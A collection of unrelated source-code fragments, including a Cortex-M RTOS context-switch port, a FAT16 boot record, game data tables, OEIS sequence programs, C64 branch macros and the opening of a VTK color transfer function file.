; OS_ENTER_CRITICAL(); /* cpu_sr = OS_CPU_SaveSR(); */
; :
; :
; OS_EXIT_CRITICAL(); /* OS_CPU_RestoreSR(cpu_sr); */
; :
; :
; }
;********************************************************************************************************
.asmfunc
OS_CPU_SR_Save:
MRS R0, PRIMASK ; Set prio int mask to mask all (except faults)
CPSID I
BX LR
.endasmfunc
.asmfunc
OS_CPU_SR_Restore:
MSR PRIMASK, R0
BX LR
.endasmfunc
;********************************************************************************************************
; START MULTITASKING
; void OSStartHighRdy(void)
;
; Note(s) : 1) This function triggers a PendSV exception (essentially, causes a context switch) to cause
; the first task to start.
;
; 2) OSStartHighRdy() MUST:
; a) Setup PendSV exception priority to lowest;
; b) Set initial PSP to 0, to tell context switcher this is first run;
; c) Set the main stack to OS_CPU_ExceptStkBase
; d) Set OSRunning to TRUE;
; e) Get current high priority, OSPrioCur = OSPrioHighRdy;
; f) Get current ready thread TCB, OSTCBCur = OSTCBHighRdy;
; g) Get new process SP from TCB, SP = OSTCBHighRdy->OSTCBStkPtr;
; h) Restore R0-R11 and R14 from new process stack;
; i) Enable interrupts (tasks will run with interrupts enabled).
;********************************************************************************************************
.asmfunc
OSStartHighRdy:
CPSID I ; Prevent interruption during context switch
LDR R0, NVIC_SYSPRI14 ; Set the PendSV exception priority
LDR R1, NVIC_PENDSV_PRI
STRB R1, [R0]
MOVS R0, #0 ; Set the PSP to 0 for initial context switch call
MSR PSP, R0
LDR R0, OS_CPU_ExceptStkBaseAddr ; Initialize the MSP to the OS_CPU_ExceptStkBase
LDR R1, [R0]
MSR MSP, R1
BL OSTaskSwHook ; Call OSTaskSwHook() for FPU Push & Pop
LDR R0, OSRunningAddr ; OSRunning = TRUE;
MOVS R1, #1
STRB R1, [R0]
LDR R0, OSPrioCurAddr ; OSPrioCur = OSPrioHighRdy;
LDR R1, OSPrioHighRdyAddr
LDRB R2, [R1]
STRB R2, [R0]
LDR R0, OSTCBCurAddr ; OSTCBCur = OSTCBHighRdy;
LDR R1, OSTCBHighRdyAddr
LDR R2, [R1]
STR R2, [R0]
LDR R0, [R2] ; R0 is new process SP; SP = OSTCBHighRdy->OSTCBStkPtr;
MSR PSP, R0 ; Load PSP with new process SP
MRS R0, CONTROL
ORR R0, R0, #2
MSR CONTROL, R0
ISB ; Sync instruction stream
LDMFD SP!, {R4-R11, LR} ; Restore r4-11, lr from new process stack
LDMFD SP!, {R0-R3} ; Restore r0, r3
LDMFD SP!, {R12, LR} ; Load R12 and LR
LDMFD SP!, {R1, R2} ; Load PC and discard xPSR
CPSIE I
BX R1
.endasmfunc
;********************************************************************************************************
; PERFORM A CONTEXT SWITCH (From task level) - OSCtxSw()
;
; Note(s) : 1) OSCtxSw() is called when OS wants to perform a task context switch. This function
; triggers the PendSV exception which is where the real work is done.
;********************************************************************************************************
.asmfunc
OSCtxSw:
LDR R0, NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch)
LDR R1, NVIC_PENDSVSET
STR R1, [R0]
BX LR
.endasmfunc
;********************************************************************************************************
; PERFORM A CONTEXT SWITCH (From interrupt level) - OSIntCtxSw()
;
; Note(s) : 1) OSIntCtxSw() is called by OSIntExit() when it determines a context switch is needed as
; the result of an interrupt. This function simply triggers a PendSV exception which will
; be handled when there are no more interrupts active and interrupts are enabled.
;********************************************************************************************************
.asmfunc
OSIntCtxSw:
LDR R0, NVIC_INT_CTRL ; Trigger the PendSV exception (causes context switch)
LDR R1, NVIC_PENDSVSET
STR R1, [R0]
BX LR
.endasmfunc
;********************************************************************************************************
; HANDLE PendSV EXCEPTION
; void OS_CPU_PendSVHandler(void)
;
; Note(s) : 1) PendSV is used to cause a context switch. This is a recommended method for performing
; context switches with Cortex-M. This is because the Cortex-M auto-saves half of the
; processor context on any exception, and restores same on return from exception. So only
; saving of R4-R11 & R14 is required and fixing up the stack pointers. Using the PendSV exception
; this way means that context saving and restoring is identical whether it is initiated from
; a thread or occurs due to an interrupt or exception.
;
; 2) Pseudo-code is:
; a) Get the process SP
; b) Save remaining regs r4-r11 & r14 on process stack;
; c) Save the process SP in its TCB, OSTCBCur->OSTCBStkPtr = SP;
; d) Call OSTaskSwHook();
; e) Get current high priority, OSPrioCur = OSPrioHighRdy;
; f) Get current ready thread TCB, OSTCBCur = OSTCBHighRdy;
; g) Get new process SP from TCB, SP = OSTCBHighRdy->OSTCBStkPtr;
; h) Restore R4-R11 and R14 from new process stack;
; i) Perform exception return which will restore remaining context.
;
; 3) On entry into PendSV handler:
; a) The following have been saved on the process stack (by processor):
; xPSR, PC, LR, R12, R0-R3
; b) Processor mode is switched to Handler mode (from Thread mode)
; c) Stack is Main stack (switched from Process stack)
; d) OSTCBCur points to the OS_TCB of the task to suspend
; OSTCBHighRdy points to the OS_TCB of the task to resume
;
; 4) Since PendSV is set to lowest priority in the system (by OSStartHighRdy() above), we
; know that it will only be run when no other exception or interrupt is active, and
; therefore safe to assume that context being switched out was using the process stack (PSP).
;********************************************************************************************************
.asmfunc
OS_CPU_PendSVHandler:
CPSID I ; Prevent interruption during context switch
MRS R0, PSP ; PSP is process stack pointer
STMFD R0!, {R4-R11, R14} ; Save remaining regs r4-11, R14 on process stack
LDR R5, OSTCBCurAddr ; OSTCBCur->OSTCBStkPtr = SP;
LDR R1, [R5]
STR R0, [R1] ; R0 is SP of process being switched out
; At this point, entire context of process has been saved
MOV R4, LR ; Save LR exc_return value
BL OSTaskSwHook ; Call OSTaskSwHook() for FPU Push & Pop
LDR R0, OSPrioCurAddr ; OSPrioCur = OSPrioHighRdy;
LDR R1, OSPrioHighRdyAddr
LDRB R2, [R1]
STRB R2, [R0]
LDR R1, OSTCBHighRdyAddr ; OSTCBCur = OSTCBHighRdy;
LDR R2, [R1]
STR R2, [R5]
ORR LR, R4, #0x04 ; Ensure exception return uses process stack
LDR R0, [R2] ; R0 is new process SP; SP = OSTCBHighRdy->OSTCBStkPtr;
LDMFD R0!, {R4-R11, R14} ; Restore r4-11, R14 from new process stack
MSR PSP, R0 ; Load PSP with new process SP
CPSIE I
BX LR ; Exception return will restore remaining context
.endasmfunc
.end
|
format elf
use32
include '../libc/ccall.inc'
section '.text' executable
section '.bss'
; This boot-record is hard coded to a
; (4096 * 1024) size ramdisk and heavily references the following linux
; commands:
;
; dd if=/dev/zero of=dosfs bs=4096 count=1024
; mkdosfs -F 16 dosfs -S 512 -s 1
;
; We recall that 4096 * 1024 is the maximum size of our test ramdisk
; and coincidently the minimum size for FAT16.
; Make this accessable
public ramdisk_fat16_bootrecord
; REMEMBER EVERYTHING BELOW SHOULD END UP AS LITTLE ENDIAN!!
ramdisk_fat16_bootrecord:
; Offset 0x0 - (3 Bytes)
; This will disassemble to JMP SHORT 3C NOP
; This jumps over the disk format information.
; This essentially isn't getting called so we're just making
; it doesn't actually matter
db 0xEB
db 0x3C
db 0x90
; Offset 0x3 - 8 bytes
; OEM Identitifer. Since I'm using mkfs.dos as a reference
; I'm simply making this mkfs.dos which is
db "mkfs.dos"
; Offset 0xB - 2 bytes
; This is the number of bytes per sector in powers of two
; Most commonly, this is 512 (0x0200)
; NOTE that we need to make this little-endian below!!
db 0x00
db 0x20
; Offset 0xD - 1 byte
; This is the number of sectors per cluster in powers of two.
; Old MS-DOS supported a max cluster size of 4KB while modern
; OS's can support up to 128KB clusters with 512 bytes/sector
; We're setting ours to 1 to use minimum size clusters.
; as we need to fit this into our ramdisk
db 0x01
; Offset 0xE - 2 bytes
; This is the count of reserved logical sectors
; This is normally 1 and mkfs.dos made this 1 as well
; so might as well stick with 1.
; REMEMBER this is little-endian!
db 0x01
db 0x00
; Offset 0x10 - 1 byte
; Number of file allocation tables (FAT)
; This is apparently almost always 2 so that's what we'll
; use
db 0x02
; Offset 0x11 - 2 bytes
; Maximum number of FAT12 and FAT16 root entries
; mkfs.dos made it 0x0200 (512) so that's what we'll use
; 240 is also the max number for <S-DOS/PC DOS hard disks
db 0x00
db 0x02
; Offset 0x13 - 2 bytes
; Total logical sectors
; This is set at 0x0200 (512) for our hardcoded value
db 0x00
db 0x20
; Offset 0x15 - 1 byte
; This is the media descriptor.
; This is a long list I won't replicate here
; We're using 0xF8 which means fixed disk
db 0xF8
; Offset 0x16 - 2 bytes
; Logical sectors per file allocation table
; mkfs.dos set this at 0x0020 so we will too
db 0x20
db 0x00
; Offset 0x18 - 2 bytes
; Physical sectors per track. Mostly unused for drives
; now but we set it to 0x0020 (32) because mkfs.dos does
db 0x20
db 0x00
; Offset 0x1A - 2 bytes
; Number of heads for disks. We set this to 0x0040 (64)
; Because that's what mkfs.dos sets it to
db 0x40
db 0x00
; Offset 0x1C - 4 bytes
; Number of hidden sectors. We don't have any so this is
; zero
dd 0x00
; Offset 0x20 - 4 bytes
; Large sector count. Usually set if there's more than
; 65535 sectors in the volume. Obviously, ours is small
; so it'll just be 0
dd 0x00
; Offset 0x24 - 1 byte
; This is the drive number. Usually useless, but the value
; is identical to the value returned by Interrupt 0x13.
; We has 0x0080 for hard disks
db 0x80
; Offset 0x25 - 1 byte
; Reserved flag for Windows NT
db 0x00
; Offset 0x26 - 1 byte
; Signature that must be 0x28 or 0x29
db 0x29
; Offset 0x27 - 4 bytes
; Volume ID serial number for tracking volumes between
; computers
dd 0x42069420
; Offset 0x2B - 11 bytes
; Volume label string padded with spaces
db "FAT16KOIZOS"
; Offset 0x36 - 8 bytes
; System identifer string. Never trust the contents of
; this string
db "FAT16 "
; Offset 0x3E - 448 bytes
; This is the boot code. We won't have anything in it
; for now so just reserve some space
rb 448
; Offset 0x1FE - 2 bytes
; Magic number 0xAA55
db 0x55
db 0xAA |
db DEX_TEDDIURSA ; pokedex id
db 60 ; base hp
db 80 ; base attack
db 50 ; base defense
db 40 ; base speed
db 50 ; base special
db NORMAL ; species type 1
db NORMAL ; species type 2
db 130 ; catch rate
db 104 ; base exp yield
INCBIN "pic/ymon/teddiursa.pic",0,1 ; 77, sprite dimensions
dw TeddiursaPicFront
dw TeddiursaPicBack
; attacks known at lvl 0
db HEADBUTT
db GROWL
db TACKLE
db LEER
db 5 ; growth rate
; learnset
tmlearn 1,5,6,8
tmlearn 9,10,11,12,13,14,15,16
tmlearn 17,18,19,20,22,24
tmlearn 25,26,27,29,31,32
tmlearn 33,34,35,36,38,40
tmlearn 44,46,48
tmlearn 50,53,54
db BANK(TeddiursaPicFront)
|
; A101092: Second partial sums of fifth powers (A000584).
; 1,34,310,1610,6035,18236,47244,109020,229845,450670,832546,1463254,2465255,4005080,6304280,9652056,14419689,21076890,30210190,42543490,58960891,80531924,108539300,144509300,190244925,247861926,319827834,409004110,518691535,652678960,815295536,1011466544,1246772945,1527514770,1860778470,2254508346,2717582179,3259891180,3892424380,4627357580,5478146981,6459627614,7588116690,8881521990,10359455415,12043351816,13956593224,16124638600,18575159225,21338179850,24446225726,27934475634,31840921035
add $0,1
lpb $0
mov $2,$0
sub $0,1
seq $2,539 ; Sum of 5th powers: 0^5 + 1^5 + 2^5 + ... + n^5.
add $1,$2
lpe
mov $0,$1
|
SFX_Cry0F_1_Ch4:
dutycycle 241
squarenote 4, 15, 7, 1984
squarenote 12, 14, 6, 1986
squarenote 6, 11, 5, 1664
squarenote 4, 12, 4, 1648
squarenote 4, 11, 5, 1632
squarenote 8, 12, 1, 1600
endchannel
SFX_Cry0F_1_Ch5:
dutycycle 204
squarenote 3, 12, 7, 1921
squarenote 12, 11, 6, 1920
squarenote 6, 10, 5, 1601
squarenote 4, 12, 4, 1586
squarenote 6, 11, 5, 1569
squarenote 8, 10, 1, 1538
endchannel
SFX_Cry0F_1_Ch7:
noisenote 3, 14, 4, 60
noisenote 12, 13, 6, 44
noisenote 4, 14, 4, 60
noisenote 8, 11, 7, 92
noisenote 15, 12, 2, 93
endchannel
|
#include <iostream>
#include <iomanip>
#include "color/color.hpp"
int main( int argc, char *argv[] )
{
::color::xyz< float > c0; //!< Instead of float you may put std::uint8_t,std::uint16_t, std::uint32_t, std::uint64_t, double, long double
::color::xyy< std::uint8_t > c1; //!< Instead of std::uint8_t you may put std::uint16_t, std::uint32_t, std::uint64_t, float, double, long double
c0 = ::color::constant::lavender_t{};
c1 = ::color::constant::orange_t{};
// Assign
c0 = c1;
std::cout << c0[0] << ", " << c0[1] << ", " << c0[2] << std::endl;
// .. and vice versa
c1 = c0;
std::cout << c1[0] << ", " << c1[1] << ", " << c1[2] << std::endl;
return EXIT_SUCCESS;
}
|
; A306764: a(n) is a sequence of period 12: repeat [1, 1, 6, 2, 1, 3, 2, 2, 3, 1, 2, 6].
; 1,1,6,2,1,3,2,2,3,1,2,6,1,1,6,2,1,3,2,2,3,1,2,6,1,1,6,2,1,3,2,2,3,1,2,6,1,1,6,2,1,3,2,2,3,1,2,6,1,1,6,2,1,3,2,2,3,1,2,6,1,1,6,2,1,3,2,2,3,1,2,6
bin $0,2
sub $0,1
gcd $0,6
|
; A052512: Number of rooted labeled trees of height at most 2.
; Submitted by Christian Krause
; 0,1,2,9,40,205,1176,7399,50576,372537,2936080,24617131,218521128,2045278261,20112821288,207162957135,2228888801056,24989309310961,291322555295904,3524580202643155,44176839081266360,572725044269255661,7668896804574138232,105920137923940473079,1507138839386550391920,22068265782107985387625,332178010291182330921776,5135009134117978082534139,81449458937043270989809096,1324484585140242659505072037,22063579332332937096118234440,376231668491246950618889775391,6562727738534522100150483380288
mov $4,$0
add $0,1
lpb $0
sub $0,1
mov $2,$4
sub $2,$1
sub $2,1
pow $2,$1
mul $2,$0
mov $3,$4
bin $3,$1
add $1,1
mul $3,$2
add $5,$3
lpe
mov $0,$5
|
//////////////////////////////////////////////////////////////////////////////
// nv_branch16_macs.asm
// Copyright(c) 2021 Neal Smith.
// License: MIT. See LICENSE file in root directory.
//////////////////////////////////////////////////////////////////////////////
// This file contains macros to branch based on 16 bit values
#importonce
#if !NV_C64_UTIL_DATA
.error "Error - nv_branch16_macs.asm: NV_C64_UTIL_DATA not defined. Import nv_c64_util_data.asm"
#endif
// the #if above doesn't seem to always work so..
// if data hasn't been imported yet, import it into default location
#importif !NV_C64_UTIL_DATA "nv_c64_util_default_data.asm"
//////////////////////////////////////////////////////////////////////////////
// compare the contents of two 16 bit words and set flags accordingly.
// full name is nv_cmp16u_mem16u_mem16u
// params are:
// addr1: 16 bit address of op1
// addr2: 16 bit address of op2
// Carry Flag Set if addr1 >= addr2
// Zero Flag Set if addr1 == addr2
// Negative Flag is undefined
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_cmp16(addr1, addr2)
{
// first compare the MSBs
lda addr1+1
cmp addr2+1
bne Done
// MSBs are equal so need to compare LSBs
lda addr1
cmp addr2
Done:
}
//////////////////////////////////////////////////////////////////////////////
// compare the contents of two 16 bit words and set flags accordingly.
// full name is nv_cmp16u_mem16u_immed16u
// params are:
// addr1: 16 bit address of op1
// addr2: 16 bit address of op2
// Carry Flag Set if addr1 >= addr2
// Zero Flag Set if addr1 == addr2
// Negative Flag is undefined
// Accum: changes
// X Reg: no change
// Y Reg: no change
.macro nv_cmp16_immed(addr1, num)
{
// first compare the MSBs
lda addr1+1
cmp #((num >> 8) & $00FF)
bne Done
// MSBs are equal so need to compare LSBs
lda addr1
cmp #(num & $00FF)
Done:
}
//////////////////////////////////////////////////////////////////////////////
// branch if two words in memory have the same contents
// branch if addr1 == addr2
// full name is nv_beq16u_mem16u_mem16u
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// addr2: is the address of LSB of the other word (addr2+1 is MSB)
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_beq16(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
beq label
}
//////////////////////////////////////////////////////////////////////////////
// branch if two words in memory have the same contents.
// branch if addr1 == addr2
// full name is nv_beq16u_mem16u_mem16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// addr2: is the address of LSB of the other word (addr2+1 is MSB)
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_beq16_far(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
bne Done
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory has the same content as
// an immediate 16 bit value.
// branch if addr1 == num
// full name is nv_beq16u_mem16u_immed16u
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_beq16_immed(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
beq label
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory has the same content as
// an immediate 16 bit value.
// branch if addr1 == num
// full name is nv_beq16u_mem16u_immed16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_beq16_immed_far(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
bne Done
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// branch if two words in memory have the different contents
// branch if addr1 != addr2
// full name is nv_bne16u_mem16u_mem16u
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// addr2: is the address of LSB of the other word (addr2+1 is MSB)
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_bne16(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
bne label
}
//////////////////////////////////////////////////////////////////////////////
// branch if two words in memory have the different contents.
// The branch label's address can be farther than +127/-128 bytes away
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// addr2: is the address of LSB of the other word (addr2+1 is MSB)
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_bne16_far(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
beq Done
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory has different content than
// an immediate 16 bit value.
// branch if addr1 != num
// full name is nv_bne16u_mem16u_num16u
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_bne16_immed(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
bne label
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory has different contents than
// an immediate 16 bit value.
// branch if addr1 != num
// full name is nv_bne16u_mem16u_num16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_bne16_immed_far(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
beq Done
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if the contents of a word at one memory location
// are less than the contents in another memory location .
// branch if addr1 < addr2
// full name is nv_blt16u_mem16u_mem16u
// addr1: the address of the LSB of the word1
// addr2: the address of the LSB of the word2
// label: the label to branch to if word1 < word2
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_blt16(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
bcc label
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to jump to a label if the contents of a word at one
// memory location are less than the contents in another memory location.
// branch if addr1 < addr2
// full name is nv_blt16u_mem16u_mem16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: the address of the LSB of the word1
// addr2: the address of the LSB of the word2
// label: the label to branch to if word1 < word2
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_blt16_far(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
bcs Done
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory is less than
// an immediate 16 bit value.
// branch if addr1 < num
// full name is nv_blt16u_mem16u_immed16u
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_blt16_immed(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
bcc label
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory is less than
// an immediate 16 bit value
// branch if addr1 < num
// full name is nv_blt16u_mem16u_immed16u far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_blt16_immed_far(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
bcs Done
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if the contents of a word at one memory location
// are less than or equal to the contents in another memory location.
// branch if addr1 <= addr2
// full name is nv_ble16u_mem16u_mem16u
// addr1: the address of the LSB of the word1
// addr2: the address of the LSB of the word2
// label: the label to branch to if word1 < word2
// Accum: changes
// X Reg: remains unchanged
// Y Reg: remains unchanged
.macro nv_ble16(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
// Carry Flag Set if addr1 >= addr2
// Zero Flag Set if addr1 == addr2
bcc label
beq label
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if the contents of a word at one memory location
// are less than or equal to the contents in another memory location.
// branch if addr1 <= addr2
// full name is nv_ble16u_mem16u_mem16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: the address of the LSB of the word1
// addr2: the address of the LSB of the word2
// label: the label to branch to if word1 < word2
// Accum: changes
// X Reg: remains unchanged
// Y Reg: remains unchanged
.macro nv_ble16_far(addr1, addr2, label)
{
nv_bgt16(addr1, addr2, Done)
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory is less than or equal to
// an immediate 16 bit value.
// branch if addr1 <= num
// full name is nv_ble16u_mem16u_immed16u
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// Accum: changes
// X Reg: remains unchanged
// Y Reg: remains unchanged
.macro nv_ble16_immed(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
// Carry Flag Set if addr1 >= addr2
// Zero Flag Set if addr1 == addr2
bcc label
beq label
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory is less than or equal to
// an immediate 16 bit value.
// branch if addr1 <= num
// full name is nv_ble16u_mem16u_immed16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// Accum: changes
// X Reg: remains unchanged
// Y Reg: remains unchanged
.macro nv_ble16_immed_far(addr1, num, label)
{
nv_bgt16_immed(addr1, num, Done)
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if the contents of a word at one memory location
// are greater than the contents in another memory location.
// branch if addr1 > addr2
// full name is nv_bgt16u_mem16u_mem16u
// addr1: the address of the LSB of the word1
// addr2: the address of the LSB of the word2
// label: the label to branch to if word1 > word2
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_bgt16(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
// Carry Flag Set if addr1 >= addr2
// Zero Flag Set if addr1 == addr2
beq Done // equal so not greater than, we're done
bcs label // >= but we already tested for == so must be greater than
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if the contents of a word at one memory location
// are greater than the contents in another memory location.
// branch if addr1 > addr2
// full name is nv_bgt16u_mem16u_mem16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: the address of the LSB of the word1
// addr2: the address of the LSB of the word2
// label: the label to branch to if word1 > word2
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_bgt16_far(addr1, addr2, label)
{
nv_ble16(addr1, addr2, Done)
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory is greater than
// an immediate 16 bit value.
// branch if addr1 > num
// full name is nv_bgt16u_mem16u_immed16u
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// todo print macro
// Accum: changes
// X Reg: no change
// Y Reg: no change
.macro nv_bgt16_immed(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
// Carry Flag Set if addr1 >= addr2
// Zero Flag Set if addr1 == addr2
beq Done // equal so not greater than, we're done
bcs label // >= but we already tested for == so must be greater than
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory is greater than
// an immediate 16 bit value.
// branch if addr1 > num
// full name is nv_bgt16u_mem16u_immed16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// todo print macro
// Accum: changes
// X Reg: no change
// Y Reg: no change
.macro nv_bgt16_immed_far(addr1, num, label)
{
nv_ble16_immed(addr1, num, Done)
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if the contents of a word at one memory location
// are greater than or equal to the contents in another memory location.
// branch if addr1 >= addr2
// full name is nv_bge16u_mem16u_mem16u
// addr1: the address of the LSB of the word1
// addr2: the address of the LSB of the word2
// label: the label to branch to if word1 >= word2
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_bge16(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
// Carry Flag Set if addr1 >= addr2
bcs label
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if the contents of a word at one memory location
// are greater than or equal to the contents in another memory location.
// branch if addr1 >= addr2
// full name is nv_bge16u_mem16u_mem16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: the address of the LSB of the word1
// addr2: the address of the LSB of the word2
// label: the label to branch to if word1 >= word2
// Accum: changes
// X Reg: unchanged
// Y Reg: unchanged
.macro nv_bge16_far(addr1, addr2, label)
{
nv_cmp16(addr1, addr2)
// Carry Flag Set if addr1 >= addr2
bcc Done
jmp label
Done:
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory is greater or equal tothan
// an immediate 16 bit value.
// branch if addr1 >= num
// full name is nv_bge16u_mem16u_immed16u
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// todo print macro
.macro nv_bge16_immed(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
// Carry Flag Set if addr1 >= num
bcs label
}
//////////////////////////////////////////////////////////////////////////////
// inline macro to branch if one word in memory is greater or equal tothan
// an immediate 16 bit value.
// branch if addr1 >= num
// full name is nv_bge16u_mem16u_immed16u_far
// The branch label's address can be farther than +127/-128 bytes away
// addr1: is the address of LSB of one word (addr1+1 is MSB)
// num: is the immediate 16 bit value to compare with the contents of addr1
// label: is the label to branch to
// todo print macro
.macro nv_bge16_immed_far(addr1, num, label)
{
nv_cmp16_immed(addr1, num)
// Carry Flag Set if addr1 >= num
bcc Done
jmp label
Done:
}
|
; A086254: Decimal expansion of Feller's beta coin-tossing constant.
; Submitted by Christian Krause
; 1,2,3,6,8,3,9,8,4,4,6,3,8,7,8,5,1,0,1,8,9,0,6,6,0,8,7,6,1,4,2,1,2,3,2,5,2,2,1,1,1,7,6,6,2,1,2,3,5,8,8,5,8,7,3,7,1,0,7,1,6,7,2,6,7,1,5,9,0,4,2,7,4,0,0,9,2,5,8,8,1,9,1,0,7,7,8,3,8,2,6,1,3,0,6,3,9,9,3,5
mov $1,1
mov $3,$0
mul $3,4
lpb $3
add $6,$5
add $1,$6
add $1,$5
add $2,$1
mov $1,$5
sub $3,1
mul $5,2
add $5,$2
add $6,$5
lpe
mov $4,10
pow $4,$0
div $2,$4
mov $7,$4
cmp $7,0
cmp $7,0
add $2,$7
div $1,$2
mov $0,$1
mod $0,10
|
/*=========================================================================
Program: Visualization Toolkit
Module: vtkDiscretizableColorTransferFunction.cxx
Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen
All rights reserved.
See Copyright.txt or http://www.kitware.com/Copyright.htm for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the above copyright notice for more information.
=========================================================================*/
#include "vtkDiscretizableColorTransferFunction.h"
#include "vtkCommand.h"
#include "vtkLookupTable.h"
#include "vtkMath.h"
#include "vtkObjectFactory.h"
#include "vtkPiecewiseFunction.h"
#include "vtkTemplateAliasMacro.h"
#include "vtkTuple.h"
#include <vector>
class vtkDiscretizableColorTransferFunction::vtkInternals
{
public:
std::vector<vtkTuple<double, 3> > IndexedColors;
};
vtkStandardNewMacro(vtkDiscretizableColorTransferFunction);
vtkCxxSetObjectMacro(vtkDiscretizableColorTransferFunction,
ScalarOpacityFunction, vtkPiecewiseFunction);
//-----------------------------------------------------------------------------
vtkDiscretizableColorTransferFunction::vtkDiscretizableColorTransferFunction()
: Internals(new vtkInternals())
{
this->LookupTable = vtkLookupTable::New();
this->Discretize = 0;
this->NumberOfValues = 256;
this->UseLogScale = 0;
this->ScalarOpacityFunction = 0;
this->EnableOpacityMapping = false;
}
//-----------------------------------------------------------------------------
vtkDiscretizableColorTransferFunction::~vtkDiscretizableColorTransferFunction()
{
// this removes any observer we may have setup for the
// ScalarOpacityFunction.
this->SetScalarOpacityFunction(NULL);
this->LookupTable->Delete();
